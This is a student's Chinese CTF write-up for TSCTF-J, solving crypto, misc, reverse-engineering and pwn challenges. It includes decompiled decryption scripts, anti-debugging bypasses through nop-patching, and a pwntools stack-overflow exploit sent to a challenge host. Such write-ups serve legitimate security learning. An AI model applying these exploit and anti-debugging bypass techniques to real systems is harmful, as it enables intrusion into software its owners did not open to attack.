Crypto
Sudoku Game
虚拟机打开终端，输入nc 10.122.253.190 10007，得到数独后直接在线解数独
得到flag
TSCTF-J{Re41_ch3ck_in_just_hav3_fun}
Dragonborn
一看图片就知道老抓根宝了，直接肉眼翻译龙语
TSCTF_J{TheDragonBorn}
(早点改题目描述就不会在大小写出那么多次错了)
Misc
不眠之夜
拼图题，linux安装montage和gaps，先montage合并图片
然后gaps直接自动拼图
得到flag
TSCTF-J{come_to_play_among_us}
Game
我直接丢进IDA Pro看字符串
得到flag
TSCTF-J{have_fun_with_easyimage_and_its_hint_is_bit-depth}
Reverse
easyXor
注意到4个byte数组的地址是连续的
猜想他们应该合并为同一个数组
直接写出解密脚本
char byte_4021DB[] =
{
'Y',
'-',
'L',
'Z',
'O',
'%',
'A',
'q',
'R',
'a',
'K',
'e',
'1',
'M',
'f',
']',
'/',
'C',
'K',
'M',
'Z',
'L',
']',
'7',
'_',
'K',
'O',
'&',
'c',
'O',
'x7F',
'a',
'r',
'x7F',
'x1F',
'q',
'l',
'I',
'x',
's',
'x04',
'x05',
'x06',
'[',
' ',
' ',
' ',
' ',
' ',
' ',
' ',
' ',
' ',
' ',
' ',
' '
};
char byte_4021DA[] =
{ 'L' };
char byte_4021D9[] =
{ '_' };
char byte_4021D8[] =
{ 'Y' };
char v3[233];
int main()
{
rg int v5 = 0;
v5 = 40;
while (v5 >= 0)
{
v3[v5] = (byte_4021DB[v5] ^ 0xD ^ (v5));
v3[v5 + 3] = (byte_4021DB[v5+ 3] ^ 0xD ^ (v5 + 3));
v3[v5 + 2] = (byte_4021DB[v5 + 2] ^ 0xD ^ (v5 + 2));
v3[v5 + 1] = (byte_4021DB[v5 + 1] ^ 0xD ^ (v5 + 1));
v5 -= 4;
}
for (rg int i = 0; i < 44; ++i) cout << v3[i];
return 0;
}
得到了一个这个
悄悄的把感叹号改成S（我也不知道哪出锅了）
得到flag
TSCTF-J{WeLc0Me_2_TSCTF-J_X0r_ls_S0_EaSY!!!}
maze_revenge
扔进IDA，在字符串窗口看到地图(X是我方便肉眼寻路打的标记)
从伪代码中可以发现操作是W A S D，并且是从I走到@
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.rodata:0000000000403FA0 00000065 C ####################### # # # ### # # # # ### # # # # # # # # # # ##### # ### ### # # # # # # # # #
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.rodata:00000000004042C8 00000065 C ##################### # # # # # # # # # # ######### # ### # # # ### # # ### # # # ######### # ### #
.rodata:000000000040432D 00000065 C # # ### ##### # # # # # # # # # # ### # # # # # # ### # # # ##### ### # ### #
.rodata:0000000000404392 00000065 C # ### ######### ##### # # # # # ############# # # # # # ### # ### # # # ### # # # ##### ######### #
.rodata:00000000004043F7 00000065 C # ### # # # ### # # # # # ##### # # # # # ### # ### # # # # # # # # # # # ##### #
.rodata:000000000040445C 00000065 C # ### # # # ######################### # # # # # # # # # ### ####### # # # ### # ### # # # ##### # #
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.rodata:00000000004045F0 00000065 C # # # ### # ### # # # ##################################### # # ### # # ### # # # ### ### # # # # ##
.rodata:0000000000404655 00000065 C # # # ### # # # # # ### # # ### # # ### # # # ### # # # # # ##
.rodata:00000000004046BA 00000065 C # # # ### # # # ######### # ### # # ### # # # # ### # # # ### # ### ### ### # # # ### # # # # # # ##
.rodata:000000000040471F 00000065 C # # # # # # # ### # ### # # ### # # # # ### # # # ### # # ### # # # # # # # # # # #
.rodata:0000000000404784 00000065 C ####################################################################################################
肉眼寻路，拿到路径
AAAAAAWWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWWAAAAAAAAAAAAAAAAAAWWAAAAAAWWAAAAAAAAAAWWAAAAWWWWAAAAAAAAAAWWWWWWWWAAWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWAAWWWWWWWWWWWWWWWWWWAAWWWWWWWWWWWWWWAAW
再结合代码中所言，将其用MD5 32 lowercase加密
得到flag
TSCTF-J{5ddffb589b72f5e9b0478d433f5b49fa}
debugMe
扔进IDA，发现buffer储存flag并且不需要任何加解密手段就能取得
直接把伪代码复制粘贴，并进行数组初始化、宏定义等微调
#define uint8 unsigned char
#define _QWORD unsigned LL
#define uint32 unsigned int
inline void decrypt(int *v, int *k)
{
int v0; // [rsp+1Ch] [rbp-24h]
int v1; // [rsp+20h] [rbp-20h]
int sum; // [rsp+24h] [rbp-1Ch]
int i; // [rsp+28h] [rbp-18h]
v0 = *v;
v1 = v[1];
sum = -957401312;
for ( i = 0; i <= 31; ++i )
{
v1 -= (v0 + sum) ^ ((v0 >> 5) + k[3]) ^ (16 * v0 + k[2]);
v0 -= (v1 + sum) ^ ((v1 >> 5) + k[1]) ^ (16 * v1 + *k);
sum += 1640531527;
}
*v = v0;
v[1] = v1;
}
uint8 reverse_map[128] =
{
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
36u,
255u,
255u,
255u,
37u,
26u,
27u,
28u,
29u,
30u,
31u,
32u,
33u,
34u,
35u,
255u,
255u,
255u,
255u,
255u,
255u,
255u,
0u,
1u,
2u,
3u,
4u,
5u,
6u,
7u,
8u,
9u,
10u,
11u,
12u,
13u,
14u,
15u,
16u,
17u,
18u,
19u,
20u,
21u,
22u,
23u,
24u,
25u,
255u,
255u,
255u,
255u,
255u,
255u,
38u,
39u,
40u,
41u,
42u,
43u,
44u,
45u,
46u,
47u,
48u,
49u,
50u,
51u,
52u,
53u,
54u,
55u,
56u,
57u,
58u,
59u,
60u,
61u,
62u,
63u,
255u,
255u,
255u,
255u,
255u
};
uint32 base64_decode(const uint8 *code, _QWORD/*uint32*/ code_len, uint8 *plain)
{
uint32 v3; // rax
uint32 v4; // rax
uint32 v5; // rax
uint32 i; // [rsp+28h] [rbp-28h]
uint32 j; // [rsp+30h] [rbp-20h]
uint32 k; // [rsp+38h] [rbp-18h]
uint8 quad[4]; // [rsp+44h] [rbp-Ch]
unsigned __int64 v11; // [rsp+48h] [rbp-8h]
j = 0LL;
for ( i = 0LL; i < code_len; i += 4LL )
{
for ( k = 0LL; k <= 3; ++k )
quad[k] = reverse_map[code[k + i]];
v3 = j++;
plain[v3] = (quad[1] >> 4) | (4 * quad[0]);
if ( quad[2] > 0x3Fu )
break;
if ( quad[3] > 0x3Fu )
{
v4 = j++;
plain[v4] = (quad[2] >> 2) | (16 * quad[1]);
return j;
}
plain[j] = (quad[2] >> 2) | (16 * quad[1]);
v5 = j + 1;
j += 2LL;
plain[v5] = quad[3] | (quad[2] << 6);
}
return j;
}
int main()
{
int i; // [rsp+Ch] [rbp-584h]
int i_0; // [rsp+10h] [rbp-580h]
int *ptr; // [rsp+18h] [rbp-578h]
int key[4]; // [rsp+30h] [rbp-560h] BYREF
uint8 enflag[56]; // [rsp+40h] [rbp-550h] BYREF
char input[256]; // [rsp+80h] [rbp-510h] BYREF
uint8 buffer[1024]; // [rsp+180h] [rbp-410h] BYREF
unsigned __int64 v11; // [rsp+588h] [rbp-8h]
memset(buffer, 0, sizeof(buffer));
key[0] = 1734437990;
key[1] = 1801545339;
key[2] = 1818648421;
key[3] = 2099341153;
*(_QWORD *)enflag = 0x692B9F24C93ECBB0LL;
*(_QWORD *)&enflag[8] = 0x4C84B46449C15A4ELL;
*(_QWORD *)&enflag[16] = 0x7BDFB74A90AED151LL;
*(_QWORD *)&enflag[24] = 0x2954405AD89B1055LL;
*(_QWORD *)&enflag[32] = 0xFA7ECCD6EBB7FD3ELL;
*(_QWORD *)&enflag[40] = 0x84E7B0309D4C973FLL;
*(_QWORD *)&enflag[48] = 0xBACEB9973E970C85LL;
i = 7;
ptr = (int *)enflag;
do
{
decrypt(ptr, key);
ptr += 2;
--i;
}
while ( i );
buffer[(int)base64_decode(enflag, 0x38uLL, buffer)] = 0;
for (rg int i = 0; i < 40; ++i) cout << buffer[i];
}
输出buffer后得到flag
TSCTF-J{D3bug_ls_P0w3rfu1!!!_qpflaklwen}
UpxRand
exeinfo查一下，发现是有壳的
用upx脱壳后打开程序，发现会输出一个图片并且越来越便秘
扔进IDA，查看伪代码发现了Sleep()和两个带Delete的函数
猜想上面一坨代码是在输出图片，Sleep()导致程序便秘，Delete函数在便秘后会直接清空所输出的图片
查看汇编代码
把Sleep和Delete都nop掉，patch后重新打开程序
扫码后得到flag
TSCTF-J{jU3t_pAt2H_cAN_Get_FLAG_!!!!!!_ea1qf1sdghjy}
maze
扔进IDA，发现'W A S D'是操作，并且地图大小是10*10的
在字符串窗口发现flag的内容是最优操作的MD5 32 lowercase加密
观察代码后，考虑到良心詹爹给的是exe文件，直接考虑邪道做法，在61行输出"Wrong Flag"的地方和循环外的LABEL_20下面的函数处打断点，动态调试，一个一个操作尝试
如果这次操作违法，则程序会进入Wrong Flag处，而如果这次操作合法，则程序因操作数不够而进入LABLE_20下面的函数
尝试后发现最后无论输入多少个D（即使已经超过10个）最后都会跳出循环，猜测在某个时刻已经达到终点才会导致这种情况
直接按有1个到10个D写出最后操作，一个一个加密并提交，最后发现正确的flag是
TSCTF-J{f62f3965313148ebccaec0bcdb132957}
tic-tac-toe
先用井字棋先攻必胜赢一把，结果他告诉你要赢10000把
exeinfo查一下
发现是.NET文件，直接扔进dnSpy
几经寻找，发现源码在命名空间045X7ZYGMK里面
观察到类EFRH8ME1VK和0Q8213XN09含有关键字Key，考虑是否可能是保存的flag
继续往下，发现关键句bool flag12 = this.win_count >= 10000;
联想到前面所说要赢这个电脑10000把，且APGC745VI2刚好引用了我们所猜想的含有flag的EFRH8ME1VK
直接将这几个类和有关的变量全部复制写出脚本
using System;
using System.ComponentModel;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
namespace testspace
{
class test
{
private static byte[] _aesKetByte = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239,
18,
52,
86,
120,
144,
171,
205,
239
};
private static string _aesKeyStr = Encoding.UTF8.GetString(test._aesKetByte);
public static string EFRH8ME1VK(string Data, string Key, string Vector)
{
byte[] buffer = Convert.FromBase64String(Data);
byte[] array = new byte[32];
Array.Copy(Encoding.UTF8.GetBytes(Key.PadRight(array.Length)), array, array.Length);
byte[] array2 = new byte[16];
Array.Copy(Encoding.UTF8.GetBytes(Vector.PadRight(array2.Length)), array2, array2.Length);
byte[] bytes = null;
Rijndael rijndael = Rijndael.Create();
try
{
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateDecryptor(array, array2), CryptoStreamMode.Read))
{
using (MemoryStream memoryStream2 = new MemoryStream())
{
byte[] array3 = new byte[1024];
int count;
while ((count = cryptoStream.Read(array3, 0, array3.Length)) > 0)
{
memoryStream2.Write(array3, 0, count);
}
bytes = memoryStream2.ToArray();
}
}
}
}
catch
{
bytes = null;
}
return Encoding.UTF8.GetString(bytes);
}
public static string APGC745VI2()
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String("YjhvTGNZM1BnTkp6WnBiTGlvMFRlYm82bnUyTzBkVGVwTzBWNDVmTUg5c1dDeFRkUW5VVjBpY1Jabk5tbVRYUg=="));
return test.EFRH8ME1VK(@string, Encoding.UTF8.GetString(Convert.FromBase64String("VFNDVEYtSnt3ZWxjb21lfQ==")), test._aesKeyStr);
}
static void Main(string[] args)
{
Console.WriteLine(test.APGC745VI2());
}
}
}
运行后如下
得到flag
TSCTF-J{R3veRsInG_c#_ls_So0o0o0_Ez}
有个fw配置编译环境和学语法加起来花了快4个小时但我不说他是谁
Minecraft
根据詹爹的提示扔exeinfo看用什么编译的
PyInstaller，直接百度，发现该用pyinstxtractor反编译
注意到反编译的时候抛出警告：应在python3.7环境下反编译
考虑直接将main.pyc扔进010 Editor，将magic numbers改成42 0D 0D 0A 00 00 00 00 63 AF 36 3E 0C 00 00 00（python 3.7.4环境下的magic numbers）
打开main.pyc，整理一下带flag关键字的类
import io
import sys
import urllib.request
def judge_flag(label_text):
flag = input('xe8xafxb7xe8xbex93xe5x85xa5flagxe8xbfx9bxe8xa1x8cxe9xaax8cxe8xafx81xefxbcx9a')
enflag = [
81,
77,
13,
81,
25,
180,
41,
237,
21,
233,
125,
65,
229,
209,
161,
192,
161,
125,
25,
85,
57,
185,
229,
125,
181,
141,
125,
196,
205,
185,
209,
125,
165,
81,
245]
def encrypt(data):
return (data & 192) >> 6 | (data & 48) << 2 | (data & 12) << 2 | (data & 3) << 2
if None == (lambda x = None: [ encrypt(ord(s)) for s in x ])(flag):
label_text += ' flagxe6x98xaf' + flag
else:
label_text += ' xe8xbex93xe5x85xa5flagxe9x94x99xe8xafxaf'
return label_text
def draw_label(self):
''' Draw the label in the top left of the screen.
'''
self.label.text = ''
(x, y, z) = normalize(self.position)
if len(self.model.flag) == 0:
self.label.text = 'xe4xbdxa0xe9x9cx80xe8xa6x81xe6x94xbexe7xbdxae10xe4xb8x87xe4xb8xaaxe6x96xb9xe5x9dx97xefxbcx8cxe5xb9xb6xe6x8axb5xe8xbexbexe7x9bxaexe6xa0x87xe4xbdx8dxe7xbdxae'
elif len(self.model.flag) < 100000:
self.label.text = 'xe6x96xb9xe5x9dx97xe5xaex8cxe6x88x90xe5xbaxa6 %d / %d' % (len(self.model.flag), 100000)
else:
self.label.text = 'xe6x96xb9xe5x9dx97xe6x94xbexe7xbdxaexe5xb7xb2xe5xaex8cxe6x88x90'
if normalize(self.position) != POSITION:
self.label.text = self.label.text + ' xe4xbdxa0xe7x9ax84xe5x9dx90xe6xa0x87(%d, %d, %d) xe7x9bxaexe6xa0x87xe5x9dx90xe6xa0x87:(%d, %d, %d)' % (x, y, z, POSITION[0], POSITION[1], POSITION[2])
else:
self.label.text = self.label.text + ' xe7x9bxaexe6xa0x87xe4xbdx8dxe7xbdxaexe5xb7xb2xe5x88xb0xe8xbexbe'
if self.label.text.find('xe6x96xb9xe5x9dx97xe6x94xbexe7xbdxaexe5xb7xb2xe5xaex8cxe6x88x90 xe7x9bxaexe6xa0x87xe4xbdx8dxe7xbdxaexe5xb7xb2xe5x88xb0xe8xbexbe') != -1 and self.model.check(self.position) and self.ctf_flag_text.find('TSCTF-J') == -1:
self.ctf_flag_text = judge_flag(self.label.text)
self.label.text += self.ctf_flag_text
self.label.draw()
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')
draw_label()
大概就是这样
发现整个main.pyc没有调用过enflag数组，并且judge_flag里面有encrypt函数
大胆猜测可以直接用其爆破flag
写出脚本，大概思路是暴力遍历0-127所有可能的ASCii，与encrypt比对
char enflag[] = {81,
77,
13,
81,
25,
180,
41,
237,
21,
233,
125,
65,
229,
209,
161,
192,
161,
125,
25,
85,
57,
185,
229,
125,
181,
141,
125,
196,
205,
185,
209,
125,
165,
81,
245};
inline char encrypt(char data)
{
return (data & 192) >> 6 | (data & 48) << 2 | (data & 12) << 2 | (data & 3) << 2;
}
char flag[233];
int main()
{
rg int len = strlen(enflag);
for (rg int i = 0; i < len; ++i)
{
for (rg int j = 0; j <= 127; ++j)
{
if (encrypt(j) == enflag[i])
{
flag[i] = j;
break;
}
}
}
cout << flag;
return 0;
}
还真能得到flag：
TSCTF-J{Ez_Pyth0h_FUNny_mc_1snt_iT}
crackme（90%？）
exeinfo查一下，无壳，直接扔进IDA
以前是有2层壳的，我学esp脱壳学的要吐了，结果James upd后就没壳了
进入主函数，点进sub_401C50
猜测是在检测程序名从而达到反汇编的效果，考虑将return 1的地址跳转直接指向CloseHandle
尝试运行程序，反反调试成功
查看sub_401DB0，又是反调试
直接查看汇编，发现是加花的，展开jmp，考虑到0E9H会跳过4行代码（好像是？），把他nop掉，再create function把花抹掉
重启，把__debugbreak()也nop掉，再重新打开ida,进入sub_401DE0
除了dword_408160有点联系外其他没什么线索，宣告卡壳
自暴自弃shift+f12，结果发现了个fake flag
但他居然是在main函数内的？点进去查看main的汇编，发现藏了个sub_402870
点进去，发现30行有疑似输出函数，联想到字符串窗口没有出现"Welcome to TSCTF-J, please input your flag:"关键字，猜测是被加密存储在这里面的
在_Initialize_parallel_init_info再次发现对dword_408160进行了操作
返回sub_402870，进入函数sub_402430，发现他大概率是在做加密
sub_402660内再次发现dword_408160，并且这次是利用他在做加密，马上翻回去，发现一共做了+21 +21 +14三次操作，现在值为56
尝试调试，发现程序输出了welcome后依然闪退，使用百度遍历可能的关键字，发现NtSetInformationThread是个反调试方法
把带NtSetInformationThread那一行nop掉，成功反反调试
把v10!=59的判断条件反转，便于调试
调试过程中发现第二个花指令
和第一个花指令类似，nop掉E9 ED，然后creat function，f5后发现函数sub_555D80
(实际上他是个异或)
下面一系列重复操作
并且
(10进制的66666)
那懂了，观察sub_402870，rand的随机化种子是0，我们可以直接预处理出来，然后枚举可能的字符与byte_406358存的值进行比对
下面那一坨是md5 32位小写加密的比对，按下不表
可以写出解密脚本
char byte_406334[] =
{
0x5C, 0x0D, 0x0F, 0x5C, 0x09, 0x5A, 0x5B, 0x0C, 0x0D, 0x5C,
0x0E, 0x5E, 0x08, 0x0C, 0x0C, 0x01, 0x0D, 0x01, 0x5D, 0x0A,
0x5D, 0x0F, 0x01, 0x0E, 0x01, 0x0B, 0x08, 0x59, 0x0B, 0x08,
0x09, 0x5D
};
char rand_ls[] =
{
0x27,0x14,0x27,0x26,0x38,
0x62,0x42,0x56,0x33,0x0d,
0x36,0x01,0x2b,0x52,0x26,
0x16,0x2e,0x56,0x62,0x51,
0x4d,0x5c,0x38,0x07,0x3a,
0x18,0x52,0x29,0x1a,0x4f,
0x2f,0x5b,0x29,0x58,0x08,
0x26,0x0c,0x12,0x39,0x44,
0x22,0x4f,0x18,0x58,0x62,
0x55,0x0d,0x0c,0x4f,0x43,
0x1e,0x05,0x50,0x06,0x59,
0x32,0x1e,0x4d,0x20,0x41,
0x0f,0x25,0x1d,0x03,0x35,
0x05,0x26,0x39,0x63,0x49,
0x62,0x0e,0x54,0x04,0x3d,
0x2b,0x30,0x4c,0x48,0x05,
0x4a,0x35,0x14,0x05,0x28,
0x57,0x05,0x26,0x18,0x24,
0x22,0x5e,0x15,0x4b,0x54,
0x3e,0x19,0x42,0x46,0x1f,
0x44,0x25,0x32,0x25,0x14,
0x1c,0x01,0x18,0x17,0x4b,
0x0c,0x3f,0x42,0x5c,0x14,
0x30,0x33,0x15,0x23,0x45,
0x19,0x4e,0x2f,0x20,0x3b,
0x49,0x1f,0x23,0x52,0x24,
0x44,0x3d,0x0f,0x2b,0x4d,
0x1c,0x18,0x5f,0x45,0x2d,
0x19,0x16,0x08,0x61,0x1b,
0x40,0x29,0x3f,0x30,0x51,
0x30,0x1d,0x0e,0x54,0x3c,
0x2c,0x5c,0x5f,0x3e,0x22
};
char byte_406358[] =
{
0x6B, 0x6F, 0x80, 0x3E, 0x81, 0x85, 0x68, 0x29, 0x28, 0xA1,
0x3A, 0xE3, 0xE2, 0x1D, 0x28, 0x40, 0xD3, 0xD6, 0xD1, 0x06,
0x5B, 0x69, 0x5A, 0x27, 0xF6, 0x03, 0x52, 0x3E, 0x7F, 0x26,
0x66, 0x7E, 0x9F, 0xFD, 0x88, 0x18, 0x46, 0xCC, 0xBC, 0x82,
0x43, 0x82, 0xA6, 0xA5, 0x94, 0x15, 0x1E, 0xED, 0x29, 0x93,
0x87, 0x3F, 0x9A, 0x3C, 0x15, 0x61, 0xA4, 0x3D, 0x5C, 0x00
};
#define mrand rand() % 100 + 1
inline void rand_list()
{
srand(0);
for (rg int i = 0; i < 59; ++i)
{
for (rg int j = 1; j <= 5; ++j)
{
printf("0x%02x,", mrand);
}
__endl;
}
}
inline char encrypt(int i, int j)
{
j ^= rand_ls[i * 5];
// j = ~(rand_ls[i * 5] & j) & (rand_ls[i * 5] | j);
j += rand_ls[i * 5 + 1];
j *= rand_ls[i * 5 + 2];
j -= rand_ls[i * 5 + 3];
j %= 66666;
return j;
}
char flag[233];
int main()
{
// freopen("ts1.out", "w", stdout);
// rand_list();
for (rg int i = 0; i < 59; ++i)
{
for (rg int j = 0; j <= 127; ++j)
{
if (encrypt(i, j) == byte_406358[i])
{
// flag[i] = j;
putchar(j), __endl;
break;
}
}
}
// for (rg int i = 0; i < 32; ++i) flag[i] = (56 ^ byte_406334[i]);
// cout << flag;
// for (rg int i = 0; i < 32; ++i)
// {
// putchar()
// }
return 0;
}
然后就错辣！依稀能看到flag的样子但是他就是错辣！
James你坏事做尽！
upd on 21/20/28
笑嘻了，做错的原因是上面那个脚本随机数的初始只初始了32 * 5， 不是59 * 5的
现在用这个list
char rand_ls[] =
{
0x27,0x14,0x27,0x26,0x38,
0x62,0x42,0x56,0x33,0x0d,
0x36,0x01,0x2b,0x52,0x26,
0x16,0x2e,0x56,0x62,0x51,
0x4d,0x5c,0x38,0x07,0x3a,
0x18,0x52,0x29,0x1a,0x4f,
0x2f,0x5b,0x29,0x58,0x08,
0x26,0x0c,0x12,0x39,0x44,
0x22,0x4f,0x18,0x58,0x62,
0x55,0x0d,0x0c,0x4f,0x43,
0x1e,0x05,0x50,0x06,0x59,
0x32,0x1e,0x4d,0x20,0x41,
0x0f,0x25,0x1d,0x03,0x35,
0x05,0x26,0x39,0x63,0x49,
0x62,0x0e,0x54,0x04,0x3d,
0x2b,0x30,0x4c,0x48,0x05,
0x4a,0x35,0x14,0x05,0x28,
0x57,0x05,0x26,0x18,0x24,
0x22,0x5e,0x15,0x4b,0x54,
0x3e,0x19,0x42,0x46,0x1f,
0x44,0x25,0x32,0x25,0x14,
0x1c,0x01,0x18,0x17,0x4b,
0x0c,0x3f,0x42,0x5c,0x14,
0x30,0x33,0x15,0x23,0x45,
0x19,0x4e,0x2f,0x20,0x3b,
0x49,0x1f,0x23,0x52,0x24,
0x44,0x3d,0x0f,0x2b,0x4d,
0x1c,0x18,0x5f,0x45,0x2d,
0x19,0x16,0x08,0x61,0x1b,
0x40,0x29,0x3f,0x30,0x51,
0x30,0x1d,0x0e,0x54,0x3c,
0x2c,0x5c,0x5f,0x3e,0x22,
0x49,0x34,0x37,0x47,0x14,
0x4b,0x16,0x17,0x0b,0x35,
0x31,0x39,0x0c,0x4c,0x25,
0x14,0x59,0x38,0x30,0x29,
0x37,0x5e,0x38,0x2a,0x05,
0x44,0x11,0x39,0x02,0x1c,
0x0f,0x34,0x54,0x50,0x4b,
0x2f,0x0f,0x64,0x42,0x26,
0x3d,0x35,0x4c,0x3d,0x57,
0x33,0x17,0x22,0x38,0x3a,
0x45,0x62,0x4c,0x2a,0x29,
0x4e,0x2c,0x52,0x11,0x17,
0x30,0x0d,0x5c,0x18,0x21,
0x60,0x42,0x07,0x4c,0x50,
0x1c,0x22,0x36,0x30,0x53,
0x3f,0x02,0x2d,0x39,0x2e,
0x5c,0x3c,0x0f,0x0e,0x5f,
0x37,0x42,0x13,0x4e,0x54,
0x59,0x5f,0x09,0x06,0x4d,
0x62,0x23,0x4e,0x15,0x1a,
0x1f,0x35,0x49,0x2e,0x43,
0x3e,0x3a,0x5a,0x3c,0x0b,
0x4c,0x29,0x41,0x1b,0x5e,
0x62,0x10,0x5a,0x5d,0x3d,
0x52,0x61,0x0c,0x50,0x4f,
0x37,0x3b,0x63,0x25,0x04,
0x3b,0x2c,0x18,0x54,0x04
};
根据后面所言要用md5加密，且已知加密是d57d1bc45d6f044959e2e796930a301e（exp后面有输出md5的部分），则遍历可能的flag并加密与之对比
得到flag
TSCTF-J{cRaCK_sMC_ls_S0_eA2Y_AnD_i_B3iLeVE_y0u_CAN_ALLKILL}
PWN
Sign_In
扔进IDA
发现s距离栈底32（20h）byte，v5距离栈底4 byte，即两者相距28 byte
且fgets函数内可以读取的是64，此时可以栈溢出
考虑用垃圾数据覆盖掉中间地址(我采用了28个'A')，用b'data'打包成字节覆盖上去
在int上覆写数据，考虑到是64位elf，打包为p64(777)
这样v5 = 777，可以进行交互了
虚拟机内运行脚本
from pwn import *
io = remote("70.34.205.1", 11000)
io.recv()
payload = b'A' * 28 + p64(777)
io.sendline(payload)
io.recv()
io.interactive()
得到flag
TSCTF-J{We1c03m_t0_Pwn_wor1d_!}
和攻防世界新手区T2完全不一样呢
宣讲彩蛋
仰（羊）天（天秤座）大（无限）笑（鸮）出（没get到）门去(曲奇）
我（卧床）辈（奖杯）岂（7点）是（屎）蓬（B是硼）蒿（没get到）人
得到flag
TSCTF-J{仰天大笑出门去我辈岂是蓬蒿人}
有个抽象人第二句最开始想的是躺赢食屎逼真人但我不说他是谁
小结
本来信心满满想要AK re的，结果还是太菜了，crackme卡了林林总总10小时没做出来
确实感觉很接近正解了，但是这并不能否认500 = 0的结果
总的来说还是太菜了，并且有好多题都是没有理解透彻原理就上的暴力破解，希望后面还是把这次的题弄的更透彻些吧